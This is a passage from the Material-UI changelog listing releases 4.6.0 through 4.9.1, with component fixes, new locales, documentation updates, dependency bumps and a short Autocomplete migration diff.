@oliviertassinari.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.1`\n\n- [Container] Fix mismatch between Container and Toolbar gutters (#19505) @koistya\n- [FormControl] Add `fullWidth` prop to `FormControl` context (#19369) @EsoterikStare\n- [l10n] Add Catalan (ca-ES) locale (#19428) @yyuri\n- [l10n] Add Finnish (fi-FI) locale (#19471) @SampsaKaskela\n- [l10n] Add Vietnamese (vi-VN) locale (#19439) @imcvampire\n- [ListItemAvatar] Add \"children\" prop (#19509) @srghma\n- [Select] Right click opens select menu (#19434) @fyodore82\n- [Slider] Support marks={false} (#19350) @embeddedt\n- [SwitchBase] Fix ignoring disabled from FormControl (#19319) @rostislavbobo\n- [TablePagination] Support unknown total count (#19494) @Domino987\n- [TextField] Declare global mui-auto-fill(-cancel) keyframes (#19497) @martinjlowm\n- [TextField] Fix label notch for custom htmlFontSize (#19409) @kusmierz\n- [TextField] Handle leaky global styles of Bootstrap (#19495) @cadrimiranda\n- [TextField] Prevent overriding legend display styles (#19389) @Alexeyun1k\n- [TextField] Reduce helper text height to match spec (#19390) @suliskh\n\n### `@material-ui/icons@v4.9.1`\n\n- [icons] Remove extraneous path (#19483) @timmydoza\n- [icons] Synchronize components with Google (#19485) @oliviertassinari\n\n### `@material-ui/system@v4.9.1`\n\n- [system] Add grid support (#17326) @Lavoaster\n\n### `@material-ui/lab@v4.0.0-alpha.41`\n\n- [Alert] Improve dark theme coloring (#19105) @ahtcx\n- [Autocomplete] Fix autoSelect logic (#19384) @SerhiiBilyk\n- [Autocomplete] Should not fire change until IME is confirmed (#19499) @teramotodaiki\n- [Autocomplete] Update docs for defaultValue prop (#19431) @willwill96\n- [Rating] Fix readOnly + precision combination (#19414) @TommyJackson85\n\n### Framer\n\n- [framer] Support Framer color tokens for ThemeProvider (#19451) @iKettles\n\n### Docs\n\n- [example] Add @types/node dependency (#19383) @AlexanderVishnevsky\n- [blog] 2019 in review and beyond (#19478) @oliviertassinari\n- [blog] Improve the layout (#19385) @oliviertassinari\n- [docs] Add SwipeableTextMobileStepper demo (#18503) @eps1lon\n- [docs] Add cinemaPlus to showcase (#19502) @georgesimos\n- [docs] Fix /versions GitHub API rate limitation (#19223) @hiteshkundal\n- [docs] Fix a small typo (\"idea\" ==> \"ID\") (#19366) @markdoliner\n- [docs] Fix some typos and correct a grammar mistake (#19324) @konekoya\n- [docs] Fix typo (#19492) @Blechkelle\n- [docs] Fix typo in Autocomplete CSS API (#19503) @DenrizSusam\n- [docs] Improve Style library interoperability (#19457) @oliviertassinari\n- [docs] Include more info on RMUIF v2.2.0 (#19410) @phoqe\n- [docs] Increase button variant demos consistency (#19392) @theswerd\n- [docs] Refresh the home page (#19430) @mbrookes\n- [docs] Remove `@ts-ignore` usage (#19504) @eps1lon\n- [docs] Replace switch with checkbox and radio (#19440) @rostislavbobo\n- [docs] Separate ButtonGroup and Fab pages from Button page (#19381) @mbrookes\n- [docs] Update the translations (#19514) @mbrookes\n- [docs] makeStyles doesn't have access to the component's name (#19474) @hesto2\n\n### Core\n\n- [test] Check exhaustive deps of useEnhancedEffect (#19417) @eps1lon\n- [test] Misc polish (#19425) @eps1lon\n- [test] Test type libs in docs (#19375) @eps1lon\n- [test] Exclude inaccessible elements by default in browser tests (#19380) @eps1lon\n- [core] Batch small changes (#19416) @oliviertassinari\n- [core] cross-os jsonlint (#19377) @eps1lon\n- [core] Fix mixins not being assignable as JSS styles (#19491) @ririvas\n- [core] Misc dependency fixes (#19412) @eps1lon\n\n## 4.9.0\n\n_Jan 22, 2020_\n\nA big thanks to the 43 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🐛 Change the outlined input notch implementation to rely 100% on CSS (#17680) @eps1lon.\n- 🔍 11 patches on the Autocomplete component.\n- 📚 Simplify the usage of \"copy demo\" action (#19291) @theswerd.\n- 📚 Warn when defaultValue changes (#19070) @m4theushw.\n- 💅 Slight updates to better match the Material Design spec (#19277, #19342) @elmeerr.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.9.0`\n\n- [Breadcrumbs] Remove private separator component (#19234) @hiteshkundal\n- [ButtonBase] Fix potential memory leak for multi-touch devices (#19333) @eps1lon\n- [DialogContentText] Fix component prop (#19102) @fyodore82\n- [l10n] Add Bulgarian (pg-BG) locale (#19138) @panayotoff\n- [l10n] Improve it-IT locale (#19143) @keul\n- [RadioGroup] Fix useRadioGroup.d.ts (#19001) @NMinhNguyen\n- [Slider] Add a custom scale support (#19158) @netochaves\n- [Slider] Center the value label (#19330) @LorenzHenk\n- [StepButton] Fix prop-types warning regarding `expanded` (#19332) @eps1lon\n- [Stepper] Add support for expanding all the steps (#19200) @hiteshkundal\n- [Tab] Remove font-size media-query (#19342) @elmeerr\n- [TableRow] Improve hover/selected styles (#19277) @elmeerr\n- [TextField] Fix outline offscreen label strikethrough (#17680) @eps1lon\n- [TextField] Improve transitions (#19228) @oliviertassinari\n- [TextField] Support padding for helperText (#19198) @hiteshkundal\n- [Tooltip] Fix popper.js re-instantiation (#19304) @netochaves\n\n### `@material-ui/styles@v4.9.0`\n\n- [styles] Overload function signature instead of conditional (#19320) @eps1lon\n\n### `@material-ui/types@v5.0.0`\n\n#### Breaking Changes\n\n- [types] Overload function signature instead of conditional (#19320) @eps1lon\n  Or, And, IsAny and IsEmptyInterface have been removed.\n- [types] Remove CoerceEmptyInterface (#19259) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.40`\n\n- [Alert] Improve Transition demo (#19283) @theswerd\n- [Alert] Use alert severity in demos (#19123) @sviande\n- [Rating] Add default value prop (#19103) @oliviertassinari\n- [Skeleton] Use span element (#19278) @oliviertassinari\n- [Autocomplete] Add missing 'clear' to onInputChange typing (#19286) @mvestergaard\n- [Autocomplete] Decrease padding when icon buttons aren't rendered (#19257) @jedwards1211\n- [Autocomplete] Document how to disable chrome autofill (#19126) @goleary\n- [Autocomplete] Don't delete tag if exists (in freesolo mode) (#19215) @adica\n- [Autocomplete] Extend support to textarea (#19232) @justtol\n- [Autocomplete] Fix group labels hiding items during keybd navigation (#19305) @aisamu\n- [Autocomplete] Fix misleading warning (#19177) @embeddedt\n- [Autocomplete] Fix option grouping (#19121) @liangchunn\n- [Autocomplete] Improve typings (#18854) @testarossaaaaa\n- [Autocomplete] Polish CustomizedHook demo (#19287) @JeremiAnastaziak\n- [Autocomplete] Add selectOnFocus prop (#19281) @Bebersohl\n\n### Docs\n\n- [blog] December 2019 Update (#19119) @oliviertassinari\n- [docs] Add \"material-ui-confirm\" to the related projects (#19237) @jonatanklosko\n- [docs] Add a new site to showcase (hifivework) (#19129) @lau-sam\n- [docs] Add a new site to showcase (tradenba) (#19307) @zachrdz\n- [docs] Add links to mui-treasury (#19334) @siriwatknp\n- [docs] Fix \"Edit this page\" link (#19170) @neletdev\n- [docs] Fix a tiny mistake in Chips playground (#19172) @OrBin\n- [docs] Fix broken TypeScript hash link in CONTRIBUTING.md (#19236) @hiteshkundal\n- [docs] Fix link in switches.md (#19256) @TurnerB24\n- [docs] Fix typo in the accessible table demo (#19321) @carbonid1\n- [docs] Improve EnhancedTable.tsx demo (#19266) @sdgluck\n- [docs] Improve draggable dialog demo (#19339) @konekoya\n- [docs] Improve the demos copy experience (#19291) @theswerd\n- [docs] Improve the documentation of the dark theme (#19122) @m4theushw\n- [docs] Improve transition documentation (#19201) @hiteshkundal\n- [docs] Improve typography documentation (#19216) @kevin-lindsay-1\n- [docs] Merge brand.png and logo.png @oliviertassinari\n- [docs] Minor typo (#19219) @sourabhbagrecha\n- [docs] Minor typo fix in testing docs (#19146) @Ardeshir81\n- [docs] Remove Glamor link (#19178) @terryBaz\n- [docs] Update the translations (#19111) @mbrookes\n- [docs] Use button in backdrop demo (#19282) @theswerd\n- [docs] Use reasonable unitless line-height for Box (#19260) @minikomi\n\n### Core\n\n- [test] Improve visual regression tests (#19175) @oliviertassinari\n- [core] Batch small changes (#19097) @oliviertassinari\n- [core] Batch small changes (#19174) @oliviertassinari\n- [core] Distinguish JSSProperties and CSSProperties (#19263) @eps1lon\n- [core] Fix TypographyStyle not allowing media queries and allowing unsafe undefined access (#19269) @eps1lon\n- [core] Ignore a few flaky visual tests (#19226) @oliviertassinari\n- [core] Remove unnecessary exports from styles/transitions.js (#19337) @JonKrone\n- [core] Simplify types of styled (#19243) @eps1lon\n- [core] Use node 10 in every CI/CD pipeline (#19301) @eps1lon\n- [core] Warn when defaultValue changes (#19070) @m4theushw\n- [build] Clarify transform-runtime, runtime version (#18512) @eps1lon\n\n## 4.8.3\n\n_Jan 6, 2020_\n\nA big thanks to the 19 contributors who made this release possible.\n\nHere are some highlights since 4.8.0 ✨:\n\n- 💄 Introduce a new Alert component in the lab (#18702) @dimitropoulos.\n- 💄 Improve skeleton animation, add wave support (#18913, #19014) @bowann, @oliviertassinari.\n- 🔍 13 patches on the Autocomplete component.\n- 🌎 Add 6 new locales (ko-KR, az-AZ, cs-CZ, sk-SK, uk-UA, pt-PT).\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.8.3`\n\n- [Badge] Improve demos (#18981) @ypresto\n- [Collapse] Add `hidden` class key to Collapse typings (#19044) @pvdstel\n- [Grid] Update TypeScript classes definitions (#19050) @Rikpat\n- [Popover] Fix position when changing state or updated (#19046) @SandraMarcelaHerreraArriaga\n- [Snackbar] Improve accessibility (#19043) @oliviertassinari\n- [theme] Support breakpoints.between(a, b) with number (#19003) @ulises-lara\n\n### `@material-ui/lab@v4.0.0-alpha.39`\n\n- [Alert] Introduce new component (#18702) @dimitropoulos\n- [Autocomplete] Fix disabled + multiple combination support (#19041) @cvanem\n- [Autocomplete] Fix form submit with freeSolo and multiple (#19072) @haseebdaone\n- [Autocomplete] Warn when mixing uncontrolled and controlled (#19060) @m4theushw\n- [Rating] Fix hover state stuck (#19071) @fyodore82\n\n### Docs\n\n- [example] Make sure next.js Links can accept url objects as href (#19073) @Janpot\n- [docs] Add company page (#18964) @oliviertassinari\n- [docs] Add hexToRgb rename to v3 to v4 changelog (#19058) @zettca\n- [docs] Disable in-context translations (#19056) @mbrookes\n- [docs] Fix grammar (#19062) @RDIL\n- [docs] Improve Next.js usage (#19075) @chrisweb\n- [docs] Improve theme.breakpoints description (#19065) @littleee\n\n### Core\n\n- [core] Fix missing type peer deps (#17211) @eps1lon\n\n## 4.8.2\n\n_Dec 30, 2019_\n\nA big thanks to the 22 contributors who made this release possible.\n\n### `@material-ui/core@v4.8.2`\n\n- [Badge] Fix doc about anchorOrigin (#18982) @ypresto\n- [DialogContent] Add missing `dividers` class types (#18984) @NickCis\n- [RadioGroup] Add useRadioGroup Hook (#18920) @NMinhNguyen\n- [Slider] Fix discrete mark highlighting (#18993) @ulises-lara\n- [Slider] Improve the pointer event logic (#19010) @oliviertassinari\n- [TablePagination] Fix duplicate key error (#18988) @afzalsayed96\n- [TableSortLabel] Relax IconComponent prop requirements in TypeScript (#18936) @Igorbek\n- [TableSortLabel] Sort asc by default (#19013) @oliviertassinari\n- [l10n] Add Portuguese (pt-PT) locale (#18987) @hrafaelveloso\n\n### `@material-ui/styles@v4.8.2`\n\n- [styles] Fix jss StyleSheet attach() call (#19042) @mceIdo\n\n### `@material-ui/lab@v4.0.0-alpha.38`\n\n#### Breaking Changes\n\n- [Skeleton] Add wave animation support (#19014) @oliviertassinari\n\n  ```diff\n  -<Skeleton disableAnimation />\n  +<Skeleton animation={false} />\n  ```\n\n#### Change\n\n- [Autocomplete] Fix option height border-box (#19000) @MariyaVdovenko\n- [Autocomplete] Zero (0) integer key display throws (#18994) @hoop71\n- [Rating] Clear value if selected value is clicked (#18999) @ivowork\n- [Rating] Add a demo with different icons (#19004) @hoop71\n\n### Docs\n\n- [docs] Add TypeScript demo for MenuPopupState (#18998) @eps1lon\n- [docs] Add yarn install instructions in CONTRIBUTING.md (#18970) @hiteshkundal\n- [docs] Clarify not all components have 'component' prop (#19015) @JamieS1211\n- [docs] Fix syntax error in palette customization example (#19008) @mumairofficial\n- [docs] Fix typo in toggle-button.md (#19002) @noahbenham\n- [docs] Update showcase lists (#19039) @typekev\n- [docs] Fix url address in modules/watrerfall/Batcher.js (#18997) @hiteshkundal\n\n### Core\n\n- [core] Don't force a remote when listing prettier changes (#18794) @Janpot\n- [core] Bump handlebars from 4.1.2 to 4.5.3 (#18989) @dependabot-preview\n- [core] Batch small changes (#19016) @oliviertassinari\n- [core] Batch small changes (#19012) @mbrookes\n\n## 4.8.1\n\n_Dec 24, 2019_\n\nA big thanks to the 24 contributors who made this release possible.\n\n### `@material-ui/core@v4.8.1`\n\n- [Drawer] Fix PaperProps className merge (#18866) @kristenmills\n- [InputBase] Add rowsMin to typings (#18922) @lcswillems\n- [Paper] Add a variant prop (#18824) @netochaves\n- [Popover] Fix bug open animation (#18896) @KevinAsher\n- [Select] Fix bug on focus in controlled open (#18857) @netochaves\n- [TextField] onBlur event argument can be undefined (#18867) @abnersajr\n- [Typography] Improve custom component types support (#18868) @fyodore82\n- [theme] Add warning, success and info colors to the palette (#18820) @r3dm1ke\n- [l10n] Add Korean (ko-KR) locale (#18952) @inspiredjw\n- [l10n] Add Azerbaijan (az-AZ) locale (#18859) @rommelmamedov\n- [l10n] Add Czech (cs-CZ) and Slovak (sk-SK) locales (#18876) @char0n\n- [l10n] Add Ukrainian (uk-UA) locale (#18832) @EvgenBabenko\n\n### `@material-ui/lab@v4.0.0-alpha.37`\n\n- [Skeleton] Delay the animation by 500ms (#18913) @bowann\n- [TreeView] Improve RTL support (#18855) @eladex\n- [TreeView] Support input in item child (#18894) @eggbread\n- [Autocomplete] Add ListboxProps prop (#18887) @ChrisWiles\n- [Autocomplete] Add blurOnSelect prop (#18827) @m4theushw\n- [Autocomplete] Add forcePopupIcon prop (#18886) @SandraMarcelaHerreraArriaga\n- [Autocomplete] Call onInputChange before onChange (#18897) @MarinePicaut\n- [Autocomplete] Fix padding to make visual height consistent (#18851) @takutolehr\n- [Autocomplete] Pass ListboxProps (#18916) @ChrisWiles\n- [Autocomplete] Prevent focusing control / opening dropdown on clear (#18889) @Monbrey\n- [Autocomplete] Support `ChipProps` prop (#18917) @ChrisWiles\n\n### Docs\n\n- [docs] Fix grammar issues in Babel plugin unwrap-createstyles (#18856) @RDIL\n- [docs] Update the translations (#18865) @mbrookes\n\n### Core\n\n- [core] Batch small changes (#18961) @oliviertassinari\n\n## 4.8.0\n\n_Dec 14, 2019_\n\nA big thanks to the 29 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 💄 Add orientation support to the button group (#18762) @SandraMarcelaHerreraArriaga.\n- 💄 Add stacking support to the avatar (#18707) @oliviertassinari.\n- 💄 Add disable elevation support to the button (#18744) @netochaves.\n- 💄 Add size small support to the radio and checkbox (#18688) @SandraMarcelaHerreraArriaga.\n- 🌎 Add 3 new locales (id-Id, ro-RO, nl-NL) @fuadinaqi, @raduchiriac, @JimKoene.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.8.0`\n\n- [Avatar] Add missing 'fallback' AvatarClassKey (#18717) @kLabz\n- [ButtonGroup] Add orientation prop (#18762) @SandraMarcelaHerreraArriaga\n- [Button] disableElevation prop (#18744) @netochaves\n- [ClickAwayListener] Fix preventDefault logic (#18768) @jayknott\n- [Container] Add disableGutters prop (#15872) @divyanshutomar\n- [Drawer] Fix PaperProps className merge conflict (#18740) @siriwatknp\n- [Modal] Fix scroll jump issue (#18808) @cvara\n- [Popper] Fix position when changing state or updated (#18813) @Amagon96\n- [Radio][checkbox] Add size=\"small\" support (#18688) @SandraMarcelaHerreraArriaga\n- [Select] Fix incorrect auto-sizing of native select (#18787) @IvanFrescas\n- [Select] Fix listbox closing on Space keyUp (#18754) @eps1lon\n- [Table] Add TableContainer component (#18699) @r3dm1ke\n- [TextField] Fix missing size prop in TypeScript types @sarpt\n- [TextareaAutosize] Add rowsMin prop (#18804) @lcswillems\n- [ToggleButton] Add size prop type definition (#18778) @sarfata\n- [Tooltip] Add `popperArrow` to `TooltipClassKey` (#18772) @umidbekkarimov\n- [Typography] Fix lineHeight for h1-h5 (#18663) @LorenzHenk\n- [l10n] Add Indonesian (id-Id) locale (#18817) @fuadinaqi\n- [l10n] Add Romanian (roRO) locale (#18825) @raduchiriac\n- [l10n] Add dutch translations (#18758) @JimKoene\n- [useMediaQuery] Support custom window (#18741) @siriwatknp\n\n### `@material-ui/lab@v4.0.0-alpha.36`\n\n- [AvatarGroup] Introduce new component (#18707) @oliviertassinari\n- [Autocomplete] Fix double change event issue (#18786) @tplai\n- [Autocomplete] Add reason to onInputChange callback (#18796) @Tybot204\n- [Autocomplete] Expand virtualized example to have grouped items (#18763) @Janpot\n\n### Docs\n\n- [blog] November 2019 Update (#18805) @oliviertassinari\n- [docs] Change `readOnly` to `disabled` in text-fields.md example (#18792) @sterjoski\n- [docs] Fix chip outlined variant (#18806) @scotttrinh\n- [docs] Improve Avatar fallback description (#18720) @mbrookes\n- [docs] Improve homepage accessibility (#18745) @mbrookes\n- [docs] Improve table of contents cmd+click (#18765) @Janpot\n- [docs] Remove unused dependencies (#18753) @eps1lon\n- [docs] Revert hiding duplicate link (#18767) @mbrookes\n- [docs] Simplify MiniDrawer demo (#18814) @shc023\n\n### Core\n\n- [core] Fix @material-ui/lab homepage url (#18823) @francisrod01\n- [core] Batch small changes (#18780) @oliviertassinari\n\n## 4.7.2\n\n_Dec 7, 2019_\n\nA big thanks to the 18 contributors who made this release possible.\n\n### `@material-ui/core@v4.7.2`\n\n- [Tooltip] Add missing classes type definitions (#18645) @dufia\n- [Tooltip] Fix arrow placement in RTL languages (#18706) @mosijava\n- [Tooltip] Fix onMouseOver event leak (#18687) @r3dm1ke\n- [ClickAwayListener] Support other documents (#18701) @Izhaki\n- [Avatar] Fallback images when fails to load (#18711) @netochaves\n- [Chip] Support text-overflow ellipsis by default (#18708) @suliskh\n- [Container] Add missing default theme props Type (#18654) @max10rogerio\n- [Modal] Document the 'Focus trap' limitation (#18643) @PutziSan\n- [Portal] Support any children node (#18692) @luffywuliao\n- [TablePagination] Fix responsive display issue (#18668) @r3dm1ke\n- [TextField] InputAdornment shouldn't wrap (#18641) @TrejGun\n- [l10n] Add Polish translation (#18685) @eXtreme\n- [theme] Fix wrong ResponsiveFontSizesOptions type (#18661) @pstadler\n- [useMediaQuery] Fix hydrationCompleted true before hydrated (#18683) @toddmazierski\n\n### `@material-ui/lab@v4.0.0-alpha.35`\n\n- [Autocomplete] Add getOptionSelected prop (#18695) @DarkKnight1992\n- [Autocomplete] Add size prop (#18624) @oliviertassinari\n- [Autocomplete] Prevent tag overflow (#18662) @fbarbare\n\n### Docs\n\n- [docs] Break up blog template into smaller sections (#18627) @mbrookes\n- [docs] Update the translations (#18644) @mbrookes\n- [docs] `ssrMatchMedia` required for client rending as well (#18680) @moshest\n\n### Core\n\n- [core] Batch changes (#18629) @oliviertassinari\n\n## 4.7.1\n\n_Dec 1, 2019_\n\nA big thanks to the 27 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🌎 Improve localization support.\n- ✨ Export all the types from barrel index (#18306) @merceyz.\n- 🔍 8 patches on the Autocomplete component.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.7.1`\n\n- [Backdrop] Comment on z-index use case (#18589) @meebix\n- [Select] Improve response, react to mouse down (#17978) @SarthakC\n- [l10n] Add Italian translation (#18507) @Angelk90\n- [l10n] Add Turkish translation (#18509) @yunusemredilber\n- [l10n] Add svSE translations (Swedish) (#18591) @dluco-\n- [l10n] Fix German translation (#18498) @cmfcmf\n- [styles] Fix ThemeProvider requiring full theme (#18500) @eps1lon\n- [useMediaQuery] Fix ssrMatchMedia requiring listener mixin (#18501) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.34`\n\n- [Skeleton] Fix non-breakable space (#18548) @gmltA\n- [Rating] Improve mobile support (#18603) @aleccaputo\n- [Autocomplete] Document value equality check (#18516) @ChawinTan\n- [Autocomplete] Fix CSS specificity issue (#18578) @mr-bjerre\n- [Autocomplete] Fix selecting undefined on updated options (#18611) @jellyedwards\n- [Autocomplete] Fix typo in test (#18506) @TrejGun\n- [Autocomplete] Improve icons display (#18520) @oliviertassinari\n- [Autocomplete] Only call .focus() when necessary (#18584) @Davidasg180\n- [Autocomplete] Only trigger onInputChange when the value changes (#18571) @sclavijo93\n- [Autocomplete] Show loading text when there are no options (#18570) @sclavijo93\n\n### Docs\n\n- [docs] Add monday.com to in-house ads (#18598) @mbrookes\n- [docs] Fix bug in Popper component's Scroll playground example (#18562) @maprihoda\n- [docs] Fix typo in media query docs (#18617) @rajnish307\n- [docs] Fix yarn start command (#18565) @andrestone\n- [docs] Improve the SvgIcon documentation (#18560) @oliviertassinari\n- [docs] Reduce confusion in picker link (#18566) @BGehrels\n- [docs] Include mention to Persian in localization.md (#18513) @uxitten\n- [docs] Update v3 migration guide for ExpansionPanel (#18612) @NMinhNguyen\n\n### Core\n\n- [test] Assert accessible name (#18609) @eps1lon\n- [test] Improve merging tests for createMuiTheme (#18543) @eedrah\n- [misc] Batch small changes (#18614) @mbrookes\n- [core] Add react-is dependency (#18551) @HeadFox\n- [core] Batch small changes (#18539) @oliviertassinari\n- [core] Bump `@babel/*` deps (#18552) @eps1lon\n- [core] Export everything from the second level (#18306) @merceyz\n- [core] Fix dependabot not ignoring babel-plugin-preval (#18553) @eps1lon\n- [core] Ignore url-loader >= 3 updates (#18639) @eps1lon\n\n## 3.9.4\n\n_Nov 28, 2019_\n\n### `@material-ui/core@v3.9.4`\n\n- [Portal] Fix circular PortalProps Types (#18602)\n\n  Fix TypeScript 3.7 support\n\n## 4.7.0\n\n_Nov 22, 2019_\n\nA big thanks to the 27 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🌎 Add localization support (#18219) @soltanloo.\n- 🔍 8 patches on the Autocomplete component.\n- 💄 Add tooltip arrow support (#18323) @goleary.\n- 📚 Display the demos on a white background (#18396) @oliviertassinari.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.7.0`\n\n- [l10n] Add localization (#18219) @soltanloo\n- [l10n] Improve Russian translation (#18422) @gmltA\n- [Avatar] Tip about what srcset can be used for (#18366) @uxitten\n- [CardMedia] Use propTypes for \"at least one\"-check (#18384) @eps1lon\n- [Chip] Document accessibility (#18271) @eps1lon\n- [Collapse] Add support for unitless collapsedHeight (#18461) @weslenng\n- [Grid] Infer `displayName` (#18481) @NMinhNguyen\n- [HiddenCss] Fix warning when using custom breakpoints (#18382) @eps1lon\n- [Modal] Prefer to lock scroll on body than HTML element (#18445) @andreasheim\n- [Popper] Use context for RTL support (#18381) @MisterQH\n- [Slider] Increase interaction area (#18429) @oliviertassinari\n- [Slider] Make the slider work as intended when max%step !== 0 (#18438) @macfire10\n- [Snackbar] Fix timer restarting when parent component re-render (#18361) @weslenng\n- [Tooltip] Add `arrow` prop (#18323) @goleary\n- [Tooltip] Use hysteresis with the enterDelay (#18458) @oliviertassinari\n- [getContrastText] Throw descriptive exception when passing falsy argument (#18383) @eps1lon\n\n### `@material-ui/lab@v4.0.0-alpha.33`\n\n- [Skeleton] Keep the size 1:1 to replaced text content (#18451) @macfire10\n- [SpeedDialIcon] Fix test for react 16.12 (#18379) @eps1lon\n- [TreeView] Fix control state error (#18341) @joshwooding\n- [Autocomplete] Add popperDisablePortal to classes (#18346) @nullberri\n- [Autocomplete] Add tag keyboard navigation test (#18355) @oliviertassinari\n- [Autocomplete] Better handle native browsers' autofill and autocomplete (#18376) @IanSmith89\n- [Autocomplete] Fix CreateFilterOptions definition (#18419) @alaumh\n- [Autocomplete] Fix bug on disableOpenOnFocus prop (#18380) @netochaves\n- [Autocomplete] Fix usage of Home/End keys (#18338) @weslenng\n- [Autocomplete] Fix virtualization demo (#18455) @mandrin17299\n- [Autocomplete] Ignore object keys in default filter (#18480) @eggbread\n- [lab] Bump material-ui/core version (#18354) @renatoagds\n\n### Docs\n\n- [docs] Add related project links (#18035) @MaximKudriavtsev\n- [docs] Fix grammar in app-bar.md (#18362) @smilevideo\n- [docs] Fix some markdown spec issue (#18428) @eps1lon\n- [docs] Fix typo in autocomplete docs (#18343) @thomasdashney\n- [docs] Fix useMediaQuery ssr implementation example (#18325) @carloscuesta\n- [docs] Increase the contrast of the demos (#18396) @oliviertassinari\n- [docs] Reduce .html response size (#18356) @oliviertassinari\n- [docs] Remove outdated showcase (#18364) @LorenzHenk\n- [docs] Update the translations (#18339) @mbrookes\n\n### Core\n\n- [GitHub] Fix fragment on link in PR template (#18370) @twgardner2\n- [Security] Bump https-proxy-agent from 2.2.2 to 2.2.4 (#18440) @dependabot-preview\n- [core] Add displayName to contexts (#18468) @eps1lon\n- [core] Batch changes (#18395) @oliviertassinari\n- [core] Ignore babel-plugin-preval updates (#18415) @dependabot-preview\n- [framer] Update after publication (#18340) @mbrookes\n- [test] Check a11y tree inclusion in CI only (#18433) @eps1lon\n- [test] Improve coverage (#18385) @eps1lon\n- [utils] Simplify refType (#18437) @NMinhNguyen\n\n## 4.6.1\n\n_Nov 12, 2019_\n\nA big thanks to the 19 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🔍 12 patches on the Autocomplete component.\n- 👨‍🎤 Add Framer X support (#17797) @mbrookes.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v4.6.1`\n\n- Add Framer X wrapper components (#17797) @mbrookes\n- [ButtonBase] Fix space calling onClick on keyDown instead of keyUp (#18319) @eps1lon\n- [ButtonBase] Test keyboard events of child elements (#18318) @eps1lon\n- [ButtonGroup] Fix typings for disabled classes property (#18274) @xZliman\n- [Select] Fix id not being present when native (#18257) @eps1lon\n- [TextField] Add demo for color prop (#18220) @Studio384\n- [core] Fix createMuiTheme side-effect (#18247) @FabianSellmann\n- [core] Increase specificity to get correct style (#18238) @oliviertassinari\n\n### `@material-ui/lab@v4.0.0-alpha.32`\n\n#### Breaking Changes\n\n- [Autocomplete] Fix Multiple tag delete action (#18153) @tkanzakic\n\n```diff\ndiff --git a/docs/src/pages/components/autocomplete/FixedTags.js b/docs/src/pages/components/autocomplete/FixedTags.js\nindex 757d66a97..a4f36edd5 100644\n--- a/docs/src/pages/components/autocomplete/FixedTags.js\n+++ b/docs/src/pages/components/autocomplete/FixedTags.js\n@@ -11,17 +11,9 @@ export default function FixedTags() {\n       options={top100Films}\n       getOptionLabel={option => option.title}\n       defaultValue={[top100Films[6], top100Films[13]]}\n-      renderTags={(value, { className, onDelete }) =>\n+      renderTags={(value, getTagProps) =>\n         value.map((option, index) => (\n-          <Chip\n-            key={index}\n-            disabled={index === 0}\n-            data-tag-index={index}\n-            tabIndex={-1}\n-            label={option.title}\n-            className={className}\n-            onDelete={onDelete}\n-          />\n+          <Chip disabled={index === 0} label={option.title} {...getTagProps({ index })} />\n         ))\n       }\n       style={{ width: 500 }}\n```\n\n#### Changes\n\n- [TreeView] Add controlled API to TreeView (#18165) @joshwooding\n- [TreeView] Support empty array (#18259) @tomasbruckner\n- [Rating] Add random name when none is provided (#18284) @Vitao18\n- [SpeedDial] Fix crash when using custom style in FabProps (#18320) @weslenng\n- [Autocomplete] Add closeIcon and popupIcon props (#18266) @AbdallahElroby\n- [Autocomplete] Add controllable input value API (#18285) @oliviertassinari\n- [Autocomplete] Add hook customization demo (#18242) @oliviertassinari\n- [Autocomplete] Fix Enter key clearing selected option (#18229) @chapmanio\n- [Autocomplete] Fix popup placement (#18289) @andreasheim\n- [Autocomplete] Fix the errors reported by Wave (#18283) @oliviertassinari\n- [Autocomplete] Improve accessibility (#18204) @oliviertassinari\n- [Autocomplete] Improve focus logic (#18286) @oliviertassinari\n- [Autocomplete] Remove aria-activedescendant (#18281) @oliviertassinari\n- [Autocomplete] Fix missing inputValue (#18268) @AbdallahElroby\n- [Autocomplete] Handle Opera fullscreen mode (#18275) @xZliman\n\n### Docs\n\n- [blog] October 2019 Product Update (#18239) @oliviertassinari\n- [examples] Fix Gatsby broken example (#18321) @weslenng\n- [docs] Fix error in Select options (#18224) @eedrah\n- [docs] Fix show all rows in table pagination (#18260) @markusf1\n- [docs] Improve demo clarity by using form elements (#18241) @jcuenod\n- [docs] Replace alert with console.info (#18316) @eps1lon\n- [docs] Replace react-inspector with custom TreeView implementation (#17662) @eps1lon\n\n### Core\n\n- [core] Add funding entry to manifests (#18250) @eps1lon\n- [core] Remove nodemod (#18222) @oliviertassinari\n- [test] Misc cleanup (#18261) @eps1lon\n- [core] Batch changes (#18264) @oliviertassinari\n\n## 4.6.0\n\n_Nov 5, 2019_\n\nA big thanks to the 26 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🔍 8 patches on the Autocomplete component that was released last week.\n\nThe positive feedback we had this early version of the component is encouraging.\nDevelopers should be able to rely on it in production within a couple of weeks (from a bug perspective).\nWe will take more time to stabilize the API, a couple of months.\n\n- 📚 Split the TextField demos into smaller demos (#17483) @joshwooding\n- 💄 Add a color prop to the TextField (#17891) @ValentinH\n- 💄 Add square and rounded variant to the Avatar (#18116) @mattdotam\n- 🐛 Fix Chip <> Avatar rendering issue (#18156)\n\nBy chance, it's the third year in a row we release on november 5th.\nThe number of contributors involved, for a similar one-week period, has grown from 12 contributors (2017) to 16 contributors (2018) to 26 contributors (2019).\nWe are proud of the community. Let's keep this trend going 🚀.\n\n### `@material-ui/core@v4.6.0`\n\n- [Avatar] Add square variant and documentation (#18116) @mattdotam\n- [Button] Fix horizontal padding on small button with icon (#18118) @vkasraj\n- [Chip] Add ripple when clickable (#17829) @Tarun047\n- [Chip] Fix Avatar CSS issue (#18156) @oliviertassinari\n- [Drawer] Improve 